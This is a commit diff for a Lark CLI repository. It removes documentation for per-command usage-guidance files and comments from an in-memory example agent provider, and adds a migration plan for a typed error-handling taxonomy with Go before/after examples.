feat: 更新 flag

skip-hidden defaults to false (lossless reads), but the read primitives don't mark which rows/cols are hidden. Cross-reference +sheet-info --include hidden_rows,hidden_cols + row_indices/col_indices so agents can identify hidden ranges when they need to filter or interpret hidden data.

Synced from sheet-skill-spec.

-# Affordance
-
-Per-command usage guidance for the CLI, authored as one markdown file per domain
-(`<service>.md`). It is surfaced in `lark-cli <command> --help` and in the
-`schema` output, and read directly at runtime (lazy, cached) — there is no build
-step. Maintain these files alongside `skills/` and `shortcuts/`.
-
-## Format
-
-A small, fixed markdown subset; each file describes one domain:
-
-    # <domain>            optional `> skill: <name>` applies to every command below
-    ## <command>          the command as typed, minus `lark-cli <domain>`
-    <lead paragraph>      when to use this command
-    ### Avoid when        when not to use it / which command to use instead
-    ### Prerequisites     what you must have first (e.g. an id, and where it comes from)
-    ### Tips              gotchas and constraints
-    ### Examples          **description** lines, each followed by a fenced command
-    ### <other heading>   a custom section; flows through verbatim
-
-Reference another command with `[[command]]` — it renders as `command` in help.
-Under `Avoid when` it means "use that one instead"; under `Prerequisites`
-("… from [[command]]") it means "get the input there first".
-
-## Example
-
-    ## messages get
-    Fetch the full content of a single message by id.
-
-    ### Avoid when
-    - Reading several at once → use [[messages batch_get]]
-
-    ### Prerequisites
-    - message_id from [[messages list]]
-
-    ### Examples
-
-    **Fetch one message**
-    ```bash
-    lark-cli mail user_mailbox.messages get --message-id "<id>"
-    ```
-
-## Notes
-
-- Write plain prose; the only convention is wrapping command references in `[[ ]]`.
-- Keep it concise and high-signal — don't restate field/flag names, id types, or
-  anything the schema and flags already show; the agent infers the rest.
-- Command-form headings resolve to method ids via the registry, so plural resource
-  names (`messages`) map to the singular method id (`message`) automatically.

-// Package example is the in-repo agent provider onboarding template and offline
-// demo backend: a hypothetical example business domain whose data / calls are
-// entirely in-memory mocks, with zero network. It has three roles:
-//
-//  1. A copy-start point for new integrators — copy the whole package and rename
-//     it; every key decision point carries a teaching comment from the
-//     "integrator's perspective" (how to fill registration fields, which
-//     capabilities to wire, how to make capability trade-offs);
-//  2. The command tree's offline demo backend — the full agent
-//     list/card/send/task/context chain runs for real without any platform
-//     configuration;
-//  3. A stable mock scheme for cmd-layer tests.
-//
-// Minimal checklist for onboarding a new provider (each item is demonstrated in
-// this package):
-//   - register metadata via agent.Register in init() (see the per-field comments below);
-//   - construct a *agent.Provider in the Factory, wiring one func field per
-//     capability you support — the core Send/GetTask are mandatory, every other
-//     field is optional and "not wired = not supported" (the framework returns a
-//     unified unsupported_capability error and derives the card matrix from what
-//     is wired, so there is no bool matrix to keep in sync and no capability-
-//     refusal code to write);
-//   - a catalog type (KindCatalog) must wire ListAgents (asserted at registration);
-//   - add a blank import under agent/register.go to trigger init registration;
-//   - run agenttest.RunConformance in tests to lock down implicit contracts.

-// ============================================================================
-// In-memory state machine (teaching focus: concurrency safety of package-level
-// state + the CLI process boundary)
-//
-// A real provider's context/task state lives on the server, so the adapter is
-// naturally stateless; example is a pure mock and must manage state itself. Two
-// disciplines the integrator needs to know:
-//
-//  1. Concurrency safety: provider instances may be constructed / called
-//     concurrently (e.g. list's probe alongside the real call), so package-level
-//     mutable state must be locked. A single coarse-grained Mutex covers all
-//     reads and writes here — the mock does not chase throughput; correctness comes first.
-//  2. CLI process boundary: every lark-cli command is a fresh process, so a pure
-//     in-memory map does not survive a single command — after `send`, a
-//     `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
-//     the in-memory map (under os.TempDir, last-writer-wins) to make the offline
-//     demo chain work across commands. A real provider neither needs nor should
-//     have this layer — it is a mock-only demo device.
-//
-// Note that the snapshot is loaded lazily (only on the first real read/write of
-// state): Register's zero-value Deps probe constructs a provider once at
-// registration time, and construction must have no side effects (the registry.go
-// contract), so Factory / Card / ListAgents must not touch store.

+## Migration
+
+**Strategy shift (2026-05-26).** The original plan (`docs/design/errors-refactor/spec.md` v2.12 §9) was a centrally-driven 4-PR rollout — framework → auth domain → multi-pilot → full-repo + legacy removal. That plan is **superseded** by a hybrid model: framework owner ships framework-level hardening (including a typed `*errs.*Error` migration of `internal/**`) as one focused PR; business-domain typed migration is **self-service** via [`docs/errors-guide.md`](../docs/errors-guide.md) and the builder API, with no central sweep timeline.
+
+Why the shift: 800+ legacy call sites split across 8+ business domains do not all share a single reviewer's bandwidth, and the contract is now expressive enough that each domain owner can migrate their own code from the guide without coordinating with framework owner.
+
+### Current state
+
+1. **Framework slice — ✅ shipped (PR #984).** The `errs/` typed taxonomy, classifier (`internal/errclass`), promotion stub (`internal/errcompat`, passthrough), dispatcher hook (`WriteTypedErrorEnvelope`), and the `lint/errscontract` AST guards. Wire shapes preserved byte-for-byte versus pre-PR, with **one intentional semantic fix**: config-class errors (`*core.ConfigError`) now exit `3` instead of `2`, aligning with `ExitCodeForCategory` (config errors share the auth exit slot per the taxonomy). The classifier and promote helpers are *shipped but unused* in production paths — they exist so framework migration can plug in without re-architecting.

+2. **Builder API — ✅ shipped (this branch).** `errs/types.go` adds the canonical producer surface (`errs.NewXxxError(subtype, format, args...).WithX(...)`) for all 10 typed types, alongside each struct declaration. Constructor signature pins `Category` (via function name) and `Subtype` + `Message` (positional), so the producer cannot mis-specify any of the three identity fields. Optional fields chain through `.WithX(...)` setters that preserve the concrete pointer type.
+
+### Next: framework migration PR (planned)
+
+A single PR consolidates the work the original §9 spec split across PRs 2–4 — restricted to framework code, no business sweep:
+
+- **Migrate `internal/**` typed construction to the builder API.** ~16 call sites in `internal/errclass/classify.go` (BuildAPIError fanout), `internal/auth/transport.go` (SecurityPolicy), `internal/auth/uat_client.go`, `internal/errcompat/promote*.go`, `internal/client/client.go`, `internal/client/api_errors.go`.
+- **Land the framework-side semantic changes** previously scoped to spec §9 PR 2: `SecurityPolicyError` exit `1→6`, `WrapDoAPIError` typed (`*NetworkError` with subtype timeout/tls/dns/server_error/transport, `*InternalError` for JSON-decode), `WrapJSONResponseParseError` typed, `errcompat.PromoteConfigError` real Type routing, `PromoteAuthError` helper + dispatcher wiring, 10 credential Lark codes registered in codeMeta, 99991543 config classification, `resolveAccessToken` typed `*AuthenticationError`, `BuildAPIError` filling `*PermissionError.MissingScopes` / `Identity` / `ConsoleURL`, deletion of `scopeAwareChecker`.
+- **Add `forbidigo` rule** banning `output.Err*` constructors in `shortcuts/**` and `cmd/**` (mirrors the contract that new business code must use the builder).
+- **CHANGELOG** lists the resulting ~10 shell-exit-code shifts in one release entry (vs the spec §1 spread of 11 — the remaining one site lives in `task` business code).
+
+### Business-domain migration (self-service, no central timeline)
+
+Each business package migrates its own `output.Err*` call sites to the builder when convenient — typically batched within one domain. The guide at [`docs/errors-guide.md`](../docs/errors-guide.md) walks owners through the 8 typical error modes (validation / authorization / authentication / config / network / api / internal / policy) with real `file:line` examples from main. The three-layer extension model (add Subtype / add field / add Category) handles cases the existing taxonomy does not cover.
+
+Helper assertions accept both shapes during migration (see `shortcuts/mail/mail_shortcut_validation_test.go` `assertValidationError`) so domain migrations stay green incrementally.
+
+### Legacy removal
+
+Deferred until business migration completion approaches the asymptote. `Errorf`, `ErrAPI`, `ErrAuth`, `ErrWithHint`, `ErrBare`, `ClassifyLarkError`, `ErrDetail`, `ExitError`, and `ErrorEnvelope` are `// Deprecated:` today and stay callable. No fixed removal date.
+
+### Before / after at a call site
+
+```go
+// before (legacy)
+return output.ErrAPI(larkCode, "create event failed", resp.RawBody())
+
+// after (typed) — cc carries Brand / AppID / Identity from the caller's context
+return errclass.BuildAPIError(parsedResp, cc)
+```
+
+```go
+// before (legacy validation)
+return output.ErrValidation("--duration-minutes must be between 1 and 1440")
+
+// after (builder)
+return errs.NewValidationError(errs.SubtypeInvalidArgument,
+    "--duration-minutes must be between 1 and 1440, got %d", duration).
+    WithParam("--duration-minutes")
+```
+
 ## Troubleshooting
 
 **Envelope shows `type=api subtype=unknown` for what should be a more
 specific category.** The Lark code is unknown to `LookupCodeMeta` and fell
 through to the generic bucket (`internal/errclass/classify.go`). Add the
 code to `internal/errclass/codemeta_<service>.go` with the right Category
-and Subtype, plus a dispatch test in `internal/errclass/classify_test.go`.
+and Subtype, plus a dispatch test in `classify_test.go`.
 
 **Envelope shows `type=internal subtype=sdk_error`.** Origin is
 `client.WrapDoAPIError` taking the non-transport branch
